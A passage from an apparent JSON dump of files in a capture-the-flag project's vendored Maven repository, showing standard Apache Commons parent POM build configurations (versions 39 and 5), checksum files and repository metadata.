<artifactId>maven-javadoc-plugin</artifactId>\n            <executions>\n              <execution>\n                <id>create-javadoc-jar</id>\n                <goals>\n                  <goal>javadoc</goal>\n                  <goal>jar</goal>\n                </goals>\n                <phase>package</phase>\n              </execution>\n            </executions>\n            <configuration>\n              <source>${maven.compiler.source}</source>\n            </configuration>\n          </plugin>\n          <plugin>\n            <artifactId>maven-assembly-plugin</artifactId>\n            <inherited>true</inherited>\n            <executions>\n              <execution>\n                <goals>\n                  <goal>single</goal>\n                </goals>\n                <phase>package</phase>\n              </execution>\n            </executions>\n          </plugin>\n        </plugins>\n      </build>\n    </profile>\n\n     <!--\n       profile to update the Apache parent pom profile of the same name\n       to better suit the requirements of Apache Commons.\n       [Requires further work]\n     -->\n    <profile>\n      <id>apache-release</id>\n      <build>\n        <plugins>\n          <plugin>\n            <artifactId>maven-release-plugin</artifactId>\n            <configuration>\n              <releaseProfiles>apache-release</releaseProfiles>\n            </configuration>\n          </plugin>\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-source-plugin</artifactId>\n            <executions>\n              <execution>\n                <id>attach-test-sources</id>\n                <goals>\n                  <goal>test-jar</goal>\n                </goals>\n              </execution>\n            </executions>\n          </plugin>\n          <plugin>\n            <artifactId>maven-install-plugin</artifactId>\n            <configuration>\n              <createChecksum>true</createChecksum>\n            </configuration>\n          </plugin>\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-jar-plugin</artifactId>\n            <executions>\n              <execution>\n                <goals>\n                  <goal>test-jar</goal>\n                </goals>\n              </execution>\n            </executions>\n          </plugin>\n        </plugins>\n      </build>\n    </profile>\n\n    <!--\n       Profile for running the build using JDK 1.3\n       (JAVA_1_3_HOME needs to be defined, e.g. in settings.xml or an environment variable)\n      -->\n    <profile>\n      <id>java-1.3</id>\n      <properties>\n        <commons.compiler.fork>true</commons.compiler.fork>\n        <commons.compiler.compilerVersion>1.3</commons.compiler.compilerVersion>\n        <commons.compiler.javac>${JAVA_1_3_HOME}/bin/javac</commons.compiler.javac>\n        <commons.surefire.java>${JAVA_1_3_HOME}/bin/java</commons.surefire.java>\n      </properties>\n    </profile>\n\n    <!--\n       Profile for running the build using JDK 1.4\n       (JAVA_1_4_HOME needs to be defined, e.g. in settings.xml or an environment variable)\n      -->\n    <profile>\n      <id>java-1.4</id>\n      <properties>\n        <commons.compiler.fork>true</commons.compiler.fork>\n        <commons.compiler.compilerVersion>1.4</commons.compiler.compilerVersion>\n        <commons.compiler.javac>${JAVA_1_4_HOME}/bin/javac</commons.compiler.javac>\n        <commons.surefire.java>${JAVA_1_4_HOME}/bin/java</commons.surefire.java>\n        <!-- later versions of surefire don't support Java 1.4 -->\n        <commons.surefire.version>2.11</commons.surefire.version>\n      </properties>\n    </profile>\n\n    <!--\n       Profile for running the build using JDK 1.5\n       (JAVA_1_5_HOME needs to be defined, e.g. in settings.xml or an environment variable)\n      -->\n    <profile>\n      <id>java-1.5</id>\n      <properties>\n        <commons.compiler.fork>true</commons.compiler.fork>\n        <commons.compiler.compilerVersion>1.5</commons.compiler.compilerVersion>\n        <commons.compiler.javac>${JAVA_1_5_HOME}/bin/javac</commons.compiler.javac>\n        <commons.surefire.java>${JAVA_1_5_HOME}/bin/java</commons.surefire.java>\n      </properties>\n    </profile>\n\n    <!--\n       Profile for running the build using JDK 1.6\n       (JAVA_1_6_HOME needs to be defined, e.g. in settings.xml or an environment variable)\n      -->\n    <profile>\n      <id>java-1.6</id>\n      <properties>\n        <commons.compiler.fork>true</commons.compiler.fork>\n        <commons.compiler.compilerVersion>1.6</commons.compiler.compilerVersion>\n        <commons.compiler.javac>${JAVA_1_6_HOME}/bin/javac</commons.compiler.javac>\n        <commons.surefire.java>${JAVA_1_6_HOME}/bin/java</commons.surefire.java>\n      </properties>\n    </profile>\n\n    <!--\n       Profile for running the build using JDK 1.7\n       (JAVA_1_7_HOME needs to be defined, e.g. in settings.xml or an environment variable)\n      -->\n    <profile>\n      <id>java-1.7</id>\n      <properties>\n        <commons.compiler.fork>true</commons.compiler.fork>\n        <commons.compiler.compilerVersion>1.7</commons.compiler.compilerVersion>\n        <commons.compiler.javac>${JAVA_1_7_HOME}/bin/javac</commons.compiler.javac>\n        <commons.surefire.java>${JAVA_1_7_HOME}/bin/java</commons.surefire.java>\n      </properties>\n    </profile>\n\n    <!--\n       Profile for running the build using JDK 1.8\n       (JAVA_1_8_HOME needs to be defined, e.g. in settings.xml or an environment variable)\n      -->\n    <profile>\n      <id>java-1.8</id>\n      <properties>\n        <commons.compiler.fork>true</commons.compiler.fork>\n        <commons.compiler.compilerVersion>1.8</commons.compiler.compilerVersion>\n        <commons.compiler.javac>${JAVA_1_8_HOME}/bin/javac</commons.compiler.javac>\n        <commons.surefire.java>${JAVA_1_8_HOME}/bin/java</commons.surefire.java>\n      </properties>\n    </profile>\n\n    <!--\n       Profile for running the build using JDK 1.9\n       (JAVA_1_9_HOME needs to be defined, e.g. in settings.xml or an environment variable)\n      -->\n    <profile>\n      <id>java-1.9</id>\n      <properties>\n        <commons.compiler.fork>true</commons.compiler.fork>\n        <commons.compiler.compilerVersion>1.9</commons.compiler.compilerVersion>\n        <commons.compiler.javac>${JAVA_1_9_HOME}/bin/javac</commons.compiler.javac>\n        <commons.surefire.java>${JAVA_1_9_HOME}/bin/java</commons.surefire.java>\n      </properties>\n    </profile>\n\n    <!-- N.B. when adding new java profiles, be sure to update\n         the _removeheaders list in the maven_bundle_plugin configuration -->\n\n    <!--\n     | Profile to allow testing of deploy phase\n     | e.g.\n     | mvn deploy -Ptest-deploy -Prelease -Dgpg.skip\n     -->\n    <profile>\n      <id>test-deploy</id>\n      <properties>\n        <altDeploymentRepository>id::default::file:target/deploy</altDeploymentRepository>\n      </properties>\n    </profile>\n\n    <profile>\n      <!--\n          Generate release notes in top-level directory from src/changes/changes.xml\n          Usage:\n          mvn changes:announcement-generate -Prelease-notes [-Dchanges.version=nnn]\n\n          Defining changes.version allows one to create the RN without first removing the SNAPSHOT suffix.\n\n          Requires file src/changes/release-notes.vm.\n          A sample template is available from:\n          https://svn.apache.org/repos/asf/commons/proper/commons-parent/trunk/src/changes/release-notes.vm\n       -->\n      <id>release-notes</id>\n      <build>\n        <plugins>\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-changes-plugin</artifactId>\n            <version>${commons.changes.version}</version>\n            <configuration>\n              <template>release-notes.vm</template>\n              <templateDirectory>src/changes</templateDirectory>\n              <runOnlyAtExecutionRoot>true</runOnlyAtExecutionRoot>\n              <announcementDirectory>.</announcementDirectory>\n              <announcementFile>RELEASE-NOTES.txt</announcementFile>\n              <announceParameters>\n                <releaseVersion>${commons.release.version}</releaseVersion>\n              </announceParameters>\n            </configuration>\n            <executions>\n              <execution>\n                <id>create-release-notes</id>\n                <phase>generate-resources</phase>\n                <goals>\n                  <goal>announcement-generate</goal>\n                </goals>\n              </execution>\n            </executions>\n          </plugin>\n        </plugins>\n      </build>\n    </profile>\n\n    <!--\n        Automatically run the buildnumber plugin unless the buildNumber.skip property is defined as true\n    -->\n    <profile>\n      <id>svn-buildnumber</id>\n      <activation>\n        <property>\n          <name>!buildNumber.skip</name>\n          <value>!true</value>\n        </property>\n      </activation>\n      <build>\n        <plugins>\n          <plugin>\n            <groupId>org.codehaus.mojo</groupId>\n            <artifactId>buildnumber-maven-plugin</artifactId>\n            <executions>\n              <execution>\n                <phase>generate-resources</phase>\n                <goals>\n                  <goal>create</goal>\n                </goals>\n              </execution>\n            </executions>\n            <configuration>\n              <!-- Use committed revision so it does not change every time svn update is run -->\n              <useLastCommittedRevision>true</useLastCommittedRevision>\n              <!-- default revision number if unavailable -->\n              <revisionOnScmFailure>??????</revisionOnScmFailure>\n              <doCheck>false</doCheck>\n              <doUpdate>false</doUpdate>\n            </configuration>\n          </plugin>\n        </plugins>\n      </build>\n    </profile>\n    <!-- optional profile to use javasvn instead of the SVN CLI for the buildNumber plugin -->\n    <profile>\n      <id>javasvn</id>\n      <build>\n        <plugins>\n          <plugin>\n            <groupId>org.codehaus.mojo</groupId>\n            <artifactId>buildnumber-maven-plugin</artifactId>\n            <configuration>\n              <providerImplementations>\n                <svn>javasvn</svn>\n              </providerImplementations>\n            </configuration>\n          </plugin>\n        </plugins>\n      </build>\n    </profile>\n    <!-- profile to allow the use of plugin versions that require Java 7+ -->\n    <profile>\n      <id>jdk7-plugin-fix-version</id>\n      <activation>\n        <jdk>[1.7,)</jdk>\n      </activation>\n      <properties>\n        <!-- TODO should these be separately overrideable properties?\n            early versions are unlikely to be updated, but current latest will be\n         -->\n        <commons.findbugs.version>3.0.0</commons.findbugs.version>\n        <!-- Since 1.13 running maven with Java7 is required, 1.14 also supports Java8 class files (ASM 5.0) -->\n        <commons.animal-sniffer.version>1.14</commons.animal-sniffer.version>\n      </properties>\n    </profile>\n\n    <!-- allow simple creation of the site without any optional reports -->\n    <profile>\n      <id>site-basic</id>\n      <properties>\n        <skipTests>true</skipTests>\n        <maven.javadoc.skip>true</maven.javadoc.skip>\n        <cobertura.skip>true</cobertura.skip>\n        <findbugs.skip>true</findbugs.skip>\n        <checkstyle.skip>true</checkstyle.skip>\n        <clirr.skip>true</clirr.skip>\n        <changes.jira.skip>true</changes.jira.skip>\n        <rat.skip>true</rat.skip> <!-- from version 0.12 -->\n        <jacoco.skip>true</jacoco.skip>\n        <skipSurefireReport>true</skipSurefireReport>\n      </properties>\n    </profile>\n\n  </profiles>\n\n  <properties>\n    <!-- configuration bits for cutting a release candidate, must be overridden by components -->\n    <commons.release.version>${project.version}</commons.release.version>\n    <commons.rc.version>RC1</commons.rc.version>\n    <commons.jira.id>COMMONSSITE</commons.jira.id>\n\n    <!-- Default configuration for compiler source and target JVM -->\n    <!-- Do NOT change this; it must remain as 1.3 -->\n    <maven.compiler.source>1.3</maven.compiler.source>\n    <maven.compiler.target>1.3</maven.compiler.target>\n\n    <!-- compiler and surefire plugin settings for \"java\" profiles -->\n    <commons.compiler.fork>false</commons.compiler.fork>\n    <commons.compiler.compilerVersion />\n    <commons.compiler.javac />\n    <commons.surefire.java />\n\n    <!-- plugin versions (allows same value in reporting and build sections) -->\n    <commons.surefire.version>2.18.1</commons.surefire.version>\n    <commons.surefire-report.version>2.18.1</commons.surefire-report.version>\n    <commons.javadoc.version>2.10.3</commons.javadoc.version>\n    <commons.rat.version>0.11</commons.rat.version>\n    <commons.changes.version>2.11</commons.changes.version>\n    <commons.clirr.version>2.6.1</commons.clirr.version>\n    <commons.jxr.version>2.5</commons.jxr.version>\n    <commons.project-info.version>2.8</commons.project-info.version>\n    <commons.wagon-ssh.version>2.8</commons.wagon-ssh.version>\n    <commons.site-plugin.version>3.4</commons.site-plugin.version>\n    <commons.jacoco.version>0.7.5.201505241946</commons.jacoco.version>\n    <commons.cobertura.version>2.7</commons.cobertura.version>\n    <commons.jdepend.version>2.0</commons.jdepend.version>\n    <commons.compiler.version>3.3</commons.compiler.version>\n    <commons.scm-publish.version>1.1</commons.scm-publish.version>\n    <commons.findbugs.version>2.5.5</commons.findbugs.version>\n    <!-- plugin versions 1.12 and 1.13 currently require Java 7 -->\n    <commons.animal-sniffer.version>1.11</commons.animal-sniffer.version>\n    <!--  Almost all signatures use version 1.0. Allow override just in case -->\n    <commons.animal-sniffer.signature.version>1.0</commons.animal-sniffer.signature.version>\n\n    <!-- Default values for the download-page generation by commons-build-plugin -->\n    <commons.release.name>${project.artifactId}-${commons.release.version}</commons.release.name>\n    <commons.release.desc />\n    <commons.binary.suffix>-bin</commons.binary.suffix>\n    <commons.release.2.name>${project.artifactId}-${commons.release.2.version}</commons.release.2.name>\n    <commons.release.2.desc />\n    <commons.release.2.binary.suffix>-bin</commons.release.2.binary.suffix>\n    <commons.release.3.name>${project.artifactId}-${commons.release.3.version}</commons.release.3.name>\n    <commons.release.3.desc />\n    <commons.release.3.binary.suffix>-bin</commons.release.3.binary.suffix>\n\n    <!-- Default values for the jacoco-maven-plugin reports -->\n    <commons.jacoco.classRatio>1.00</commons.jacoco.classRatio>\n    <commons.jacoco.instructionRatio>0.90</commons.jacoco.instructionRatio>\n    <commons.jacoco.methodRatio>0.95</commons.jacoco.methodRatio>\n    <commons.jacoco.branchRatio>0.85</commons.jacoco.branchRatio>\n    <commons.jacoco.complexityRatio>0.85</commons.jacoco.complexityRatio>\n    <commons.jacoco.lineRatio>0.90</commons.jacoco.lineRatio>\n    <commons.jacoco.haltOnFailure>false</commons.jacoco.haltOnFailure>\n\n    <!-- Commons Component Id -->\n    <commons.componentid>${project.artifactId}</commons.componentid>\n\n    <!-- Configuration properties for the OSGi maven-bundle-plugin -->\n    <commons.osgi.symbolicName>org.apache.commons.${commons.componentid}</commons.osgi.symbolicName>\n    <commons.osgi.export>org.apache.commons.*;version=${project.version};-noimport:=true</commons.osgi.export>\n    <commons.osgi.import>*</commons.osgi.import>\n    <commons.osgi.dynamicImport />\n    <commons.osgi.private />\n    <commons.osgi.excludeDependencies>true</commons.osgi.excludeDependencies>\n\n    <!-- location of any manifest file used by maven-jar-plugin -->\n    <commons.manifestfile>${project.build.directory}/osgi/MANIFEST.MF</commons.manifestfile>\n\n    <!--\n      Make the deployment protocol pluggable. This allows to switch to\n      other protocols like scpexe, which some users prefer over scp.\n    -->\n    <commons.deployment.protocol>scp</commons.deployment.protocol>\n\n    <!--\n      Encoding of Java source files: ensures that the compiler and\n      the javadoc generator use the right encoding. Subprojects may\n      overwrite this, if they are using another encoding.\n    -->\n    <commons.encoding>iso-8859-1</commons.encoding>\n    <!-- used in this pom to provide the Javadoc HTML file encoding -->\n    <commons.docEncoding>${commons.encoding}</commons.docEncoding>\n    <!-- Define source encoding for filtering; used by general plugins -->\n    <project.build.sourceEncoding>${commons.encoding}</project.build.sourceEncoding>\n    <!-- This is used by reporting plugins -->\n    <project.reporting.outputEncoding>${commons.encoding}</project.reporting.outputEncoding>\n\n    <!-- Javadoc link to Java API.  Default is Java 1.7; components can override to other versions -->\n    <commons.javadoc.java.link>http://docs.oracle.com/javase/7/docs/api/</commons.javadoc.java.link>\n    <commons.javadoc.javaee.link>http://docs.oracle.com/javaee/6/api/</commons.javadoc.javaee.link>\n\n    <!-- build meta inf -->\n    <maven.build.timestamp.format>yyyy-MM-dd HH:mm:ssZ</maven.build.timestamp.format>\n    <implementation.build>${scmBranch}@r${buildNumber}; ${maven.build.timestamp}</implementation.build>\n\n    <!-- Allow Clirr severity to be overriden by the command-line option -DminSeverity=level -->\n    <minSeverity>info</minSeverity>\n\n    <!-- Control number of issues retrieved from JIRA with changes plugin -->\n    <commons.changes.maxEntries>100</commons.changes.maxEntries>\n\n    <!-- Allow surefire-report aggregation to be easily configured for multi-module projects -->\n    <commons.surefire-report.aggregate>false</commons.surefire-report.aggregate>\n\n    <!-- Allow changes Jira report to be restricted to just the current version (plugin default is false)-->\n    <commons.changes.onlyCurrentVersion>false</commons.changes.onlyCurrentVersion>\n    <!-- Allow changes Jira report maxEntries to be overridden (plugin default 100) -->\n    <commons.changes.maxEntries>100</commons.changes.maxEntries>\n    <!-- Allow changes Jira report runOnlyAtExecutionRoot to be overridden (plugin default is false) -->\n    <commons.changes.runOnlyAtExecutionRoot>false</commons.changes.runOnlyAtExecutionRoot>\n\n    <!-- scm publish plugin configuration -->\n    <commons.site.cache>${user.home}/commons-sites</commons.site.cache>\n    <!-- value modules can override it -->\n    <commons.site.path>${project.artifactId}</commons.site.path>\n\n    <commons.scmPubUrl>https://svn.apache.org/repos/infra/websites/production/commons/content/proper/${project.artifactId}</commons.scmPubUrl>\n    <commons.scmPubCheckoutDirectory>${commons.site.cache}/${commons.site.path}</commons.scmPubCheckoutDirectory>\n    <commons.scmPubServer>commons.site</commons.scmPubServer>\n\n    <sonar.host.url>https://analysis.apache.org/</sonar.host.url>\n\n  </properties>\n\n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/commons/commons-parent/39/commons-parent-39.pom.sha1",
    "content": "4bc32d3cda9f07814c548492af7bf19b21798d46"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/commons/commons-parent/5/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 11:00:53 CST 2018\ncommons-parent-5.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/commons/commons-parent/5/commons-parent-5.pom",
    "content": "<?xml version=\"1.0\" encoding=\"ISO-8859-1\"?>\n<!--\n\n   Licensed to the Apache Software Foundation (ASF) under one or more\n   contributor license agreements.  See the NOTICE file distributed with\n   this work for additional information regarding copyright ownership.\n   The ASF licenses this file to You under the Apache License, Version 2.0\n   (the \"License\"); you may not use this file except in compliance with\n   the License.  You may obtain a copy of the License at\n\n       http://www.apache.org/licenses/LICENSE-2.0\n\n   Unless required by applicable law or agreed to in writing, software\n   distributed under the License is distributed on an \"AS IS\" BASIS,\n   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n   See the License for the specific language governing permissions and\n   limitations under the License.\n\n-->\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd\">\n  <modelVersion>4.0.0</modelVersion>\n  <parent>\n    <groupId>org.apache</groupId>\n    <artifactId>apache</artifactId>\n    <version>4</version>\n  </parent>\n  <groupId>org.apache.commons</groupId>\n  <artifactId>commons-parent</artifactId>\n  <packaging>pom</packaging>\n  <!-- TODO: dummy version. In Maven 2.1, this will be auto-versioned being a generic parent -->\n  <version>5</version>\n  <name>Commons Parent</name>\n  <url>http://commons.apache.org/</url>\n  <inceptionYear>2001</inceptionYear>\n\n  <ciManagement>\n    <system>continuum</system>\n    <url>http://vmbuild.apache.org/continuum/</url>\n    <notifiers>\n      <notifier>\n        <type>mail</type>\n        <configuration>\n          <address>dev@commons.apache.org</address>\n        </configuration>\n      </notifier>\n    </notifiers>\n  </ciManagement>\n\n  <distributionManagement>\n    <!--\n      This POM's parent POM (the Apache root POM) provides repositories. Unfortunately,\n      this allows for accidental deployments. So we disable them here by providing\n      a dummy repository. Use \"mvn -Prc deploy\" (Apache snapshot repository) or\n      \"mvn -Prelease deploy\" (Apache release repository), if you really want to deploy.\n    -->\n    <repository>\n      <id>dummy</id>\n      <name>Dummy to avoid accidental deploys</name>\n      <url />\n    </repository>\n  </distributionManagement>\n\n  <!--\n    This section *must* be overwritten by subprojects. It is only to allow\n    a release of the commons-parent POM.\n  -->\n  <scm>\n    <connection>scm:svn:http://svn.apache.org/repos/asf/commons/proper/commons-parent/tags/commons-parent-5</connection>\n    <developerConnection>scm:svn:https://svn.apache.org/repos/asf/commons/proper/commons-parent/tags/commons-parent-5</developerConnection>\n    <url>http://svn.apache.org/viewvc/commons/proper/commons-parent/tags/commons-parent-5</url>\n  </scm>\n\n  <mailingLists>\n    <mailingList>\n      <name>Commons Commits List</name>\n      <subscribe>commits-subscribe@commons.apache.org</subscribe>\n      <unsubscribe>commits-unsubscribe@commons.apache.org</unsubscribe>\n      <post>commits@commons.apache.org</post>\n      <archive>http://mail-archives.apache.org/mod_mbox/commons-commits/</archive>\n      <otherArchives>\n        <otherArchive>http://www.mail-archive.com/commits@commons.apache.org/</otherArchive>\n      </otherArchives>\n    </mailingList>\n    <mailingList>\n      <name>Commons Dev List</name>\n      <subscribe>dev-subscribe@commons.apache.org</subscribe>\n      <unsubscribe>dev-unsubscribe@commons.apache.org</unsubscribe>\n      <post>dev@commons.apache.org</post>\n      <archive>http://mail-archives.apache.org/mod_mbox/commons-dev/</archive>\n      <otherArchives>\n        <otherArchive>http://www.mail-archive.com/dev@commons.apache.org/</otherArchive>\n        <otherArchive>http://www.nabble.com/Commons---Dev-f317.html</otherArchive>\n      </otherArchives>\n    </mailingList>\n    <mailingList>\n      <name>Commons Issues List</name>\n      <subscribe>issues-subscribe@commons.apache.org</subscribe>\n      <unsubscribe>issues-unsubscribe@commons.apache.org</unsubscribe>\n      <post>issues@commons.apache.org</post>\n      <archive>http://mail-archives.apache.org/mod_mbox/commons-issues/</archive>\n      <otherArchives>\n        <otherArchive>http://www.mail-archive.com/issues@commons.apache.org/</otherArchive>\n        <otherArchive>http://www.nabble.com/Commons---Issues-f25499.html</otherArchive>\n      </otherArchives>\n    </mailingList>\n    <mailingList>\n      <name>Commons User List</name>\n      <subscribe>user-subscribe@commons.apache.org</subscribe>\n      <unsubscribe>user-unsubscribe@commons.apache.org</unsubscribe>\n      <post>user@commons.apache.org</post>\n      <archive>http://mail-archives.apache.org/mod_mbox/commons-user/</archive>\n      <otherArchives>\n        <otherArchive>http://www.mail-archive.com/user@commons.apache.org/</otherArchive>\n        <otherArchive>http://www.nabble.com/Commons---User-f319.html</otherArchive>\n      </otherArchives>\n    </mailingList>\n  </mailingLists>\n  <build>\n    <pluginManagement>\n      <plugins>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-gpg-plugin</artifactId>\n          <version>1.0-alpha-3</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-jar-plugin</artifactId>\n          <version>2.1</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-remote-resources-plugin</artifactId>\n          <version>1.0-alpha-6</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-source-plugin</artifactId>\n          <version>2.0.4</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-surefire-plugin</artifactId>\n          <version>2.3</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-assembly-plugin</artifactId>\n          <version>2.2-beta-1</version>\n        </plugin>\n      </plugins>\n    </pluginManagement>\n    <plugins>\n      <!-- TODO: later use toolchain support to do compilation on an external JDK 1.3+ compiler -->\n      <plugin>\n        <artifactId>maven-compiler-plugin</artifactId>\n        <configuration>\n          <source>${maven.compile.source}</source>\n          <target>${maven.compile.target}</target>\n        </configuration>\n      </plugin>\n      <plugin>\n        <artifactId>maven-jar-plugin</artifactId>\n        <configuration>\n          <archive>\n            <manifestEntries>\n              <Specification-Title>${project.name}</Specification-Title>\n              <Specification-Version>${project.version}</Specification-Version>\n              <Specification-Vendor>${project.organization.name}</Specification-Vendor>\n              <Implementation-Title>${project.name}</Implementation-Title>\n              <Implementation-Version>${project.version}</Implementation-Version>\n              <Implementation-Vendor>${project.organization.name}</Implementation-Vendor>\n              <Implementation-Vendor-Id>org.apache</Implementation-Vendor-Id>\n              <X-Compile-Source-JDK>${maven.compile.source}</X-Compile-Source-JDK>\n              <X-Compile-Target-JDK>${maven.compile.source}</X-Compile-Target-JDK>\n            </manifestEntries>\n          </archive>\n        </configuration>\n      </plugin>\n      <plugin>\n        <artifactId>maven-idea-plugin</artifactId>\n        <configuration>\n          <jdkLevel>${maven.compile.source}</jdkLevel>\n        </configuration>\n      </plugin>\n    </plugins>\n  </build>\n\n  <reporting>\n    <plugins>\n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-javadoc-plugin</artifactId>\n        <version>2.2</version>\n        <configuration> \n          <aggregate>true</aggregate>\n        </configuration> \n      </plugin>\n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-jxr-plugin</artifactId>\n        <version>2.1</version>\n        <configuration> \n          <aggregate>true</aggregate>\n        </configuration> \n      </plugin>\n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-site-plugin</artifactId>\n        <configuration>\n          <!-- Exclude the navigation file for Maven 1 sites\n               and the changes file used by the changes-plugin,\n               as they interfere with the site generation. -->\n          <moduleExcludes>\n            <xdoc>navigation.xml,changes.xml</xdoc>\n          </moduleExcludes>\n        </configuration>\n      </plugin>\n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-surefire-report-plugin</artifactId>\n        <version>2.3</version>\n      </plugin>\n      <plugin>\n        <groupId>org.codehaus.mojo</groupId>\n        <artifactId>jdepend-maven-plugin</artifactId>\n        <version>2.0-beta-1</version>\n      </plugin>\n      <plugin>\n        <groupId>org.codehaus.mojo</groupId>\n        <artifactId>rat-maven-plugin</artifactId>\n        <version>1.0-alpha-3</version>\n      </plugin>\n    </plugins>\n  </reporting>\n\n  <profiles>\n    <profile>\n      <id>ci</id>\n      <distributionManagement>\n        <repository>\n          <id>apache.snapshots</id>\n          <name>Apache Development Snapshot Repository</name>\n          <url>${commons.deployment.protocol}://people.apache.org/www/people.apache.org/repo/m2-snapshot-repository</url>\n        </repository>\n        <snapshotRepository>\n          <id>apache.snapshots</id>\n          <name>Apache Development Snapshot Repository</name>\n          <url>${commons.deployment.protocol}://people.apache.org/www/people.apache.org/repo/m2-snapshot-repository</url>\n        </snapshotRepository>\n      </distributionManagement>\n    </profile>\n\n    <profile>\n      <id>release</id>\n      <distributionManagement>\n        <repository>\n          <id>apache.releases</id>\n          <name>Apache Release Distribution Repository</name>\n          <url>${commons.deployment.protocol}://people.apache.org/www/people.apache.org/repo/m2-ibiblio-rsync-repository</url>\n        </repository>\n      </distributionManagement>\n      <build>\n        <plugins>\n          <!-- We want to sign the artifact, the POM, and all attached artifacts -->\n          <plugin>\n            <artifactId>maven-gpg-plugin</artifactId>\n            <configuration>\n              <passphrase>${gpg.passphrase}</passphrase>\n            </configuration>\n            <executions>\n              <execution>\n                <id>sign-artifacts</id>\n                <phase>verify</phase>\n                <goals>\n                  <goal>sign</goal>\n                </goals>\n              </execution>\n            </executions>\n          </plugin>\n          <plugin>\n            <artifactId>maven-source-plugin</artifactId>\n            <executions>\n              <execution>\n                <id>create-source-jar</id>\n                <goals>\n                  <goal>jar</goal>\n                </goals>\n              </execution>\n            </executions>\n          </plugin>\n          <plugin>\n            <artifactId>maven-javadoc-plugin</artifactId>\n            <executions>\n              <execution>\n                <id>create-javadoc-jar</id>\n                <goals>\n                  <goal>jar</goal>\n                </goals>\n                <configuration>\n                  <source>${maven.compile.source}</source>\n                </configuration>\n              </execution>\n            </executions>\n          </plugin>\n          <!-- We want to package license resources into the JARs -->\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-remote-resources-plugin</artifactId>\n            <executions>\n              <execution>\n                <goals>\n                  <goal>process</goal>\n                </goals>\n                <configuration>\n                  <resourceBundles>\n                    <resourceBundle>org.apache:apache-jar-resource-bundle:1.3</resourceBundle>\n                  </resourceBundles>\n                </configuration>\n              </execution>\n            </executions>\n          </plugin>\n        </plugins>\n      </build>\n    </profile>\n\n    <profile>\n      <id>rc</id>\n      <distributionManagement>\n        <repository>\n          <id>apache.snapshots</id>\n          <name>Apache Development Snapshot Repository</name>\n          <url>${commons.deployment.protocol}://people.apache.org/www/people.apache.org/repo/m2-snapshot-repository</url>\n        </repository>\n        <snapshotRepository>\n          <id>apache.snapshots</id>\n          <name>Apache Development Snapshot Repository</name>\n          <url>${commons.deployment.protocol}://people.apache.org/www/people.apache.org/repo/m2-snapshot-repository</url>\n        </snapshotRepository>\n      </distributionManagement>\n      <build>\n        <plugins>\n          <!-- We want to sign the artifact, the POM, and all attached artifacts -->\n          <plugin>\n            <artifactId>maven-gpg-plugin</artifactId>\n            <configuration>\n              <passphrase>${gpg.passphrase}</passphrase>\n            </configuration>\n            <executions>\n              <execution>\n                <id>sign-artifacts</id>\n                <phase>verify</phase>\n                <goals>\n                  <goal>sign</goal>\n                </goals>\n              </execution>\n            </executions>\n          </plugin>\n          <plugin>\n            <artifactId>maven-source-plugin</artifactId>\n            <executions>\n              <execution>\n                <id>create-source-jar</id>\n                <goals>\n                  <goal>jar</goal>\n                </goals>\n              </execution>\n            </executions>\n          </plugin>\n          <plugin>\n            <artifactId>maven-javadoc-plugin</artifactId>\n            <executions>\n              <execution>\n                <id>create-javadoc-jar</id>\n                <goals>\n                  <goal>jar</goal>\n                </goals>\n                <configuration>\n                  <source>${maven.compile.source}</source>\n                </configuration>\n              </execution>\n            </executions>\n          </plugin>\n          <!-- We want to package license resources into the JARs -->\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-remote-resources-plugin</artifactId>\n            <executions>\n              <execution>\n                <goals>\n                  <goal>process</goal>\n                </goals>\n                <configuration>\n                  <resourceBundles>\n                    <resourceBundle>org.apache:apache-jar-resource-bundle:1.3</resourceBundle>\n                  </resourceBundles>\n                </configuration>\n              </execution>\n            </executions>\n          </plugin>\n        </plugins>\n      </build>\n    </profile>\n  </profiles>\n\n  <properties>\n\n    <!-- Default configuration for compiler source and target JVM -->\n    <maven.compile.source>1.3</maven.compile.source>\n    <maven.compile.target>1.3</maven.compile.target>\n\n    <!--\n      Make the deployment protocol pluggable. This allows to switch to\n      other protocols like scpexe, which some users prefer over scp.\n    -->\n    <commons.deployment.protocol>scp</commons.deployment.protocol>\n\n  </properties>\n\n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/commons/commons-parent/5/commons-parent-5.pom.sha1",
    "content": "a0a168281558e7ae972f113fa128bc46b4973edd"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/commons/commons-parent/7/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 11:02:06 CST 2018\ncommons-parent-7.pom>central=\n"
  },
  {
